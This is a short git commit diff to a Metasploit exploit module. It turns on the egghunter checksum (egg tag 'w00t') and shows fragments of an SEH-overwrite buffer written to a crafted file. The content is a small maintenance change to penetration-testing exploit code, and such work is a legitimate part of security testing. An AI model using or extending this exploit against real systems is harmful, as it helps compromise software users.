Verify checksum to avoid jumping to a corrupt payload

This commit is contained in:
sinn3r
2012-04-19 18:52:43 -05:00
parent ae7c2acf9d
commit bce6c9abcf
@@ -68,10 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
eggoptions =
{
:checksum => false,
:checksum => true,
:eggtag => 'w00t'
}
@@ -85,8 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
buffer << [target.ret].pack('V') # seh
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer)
end
end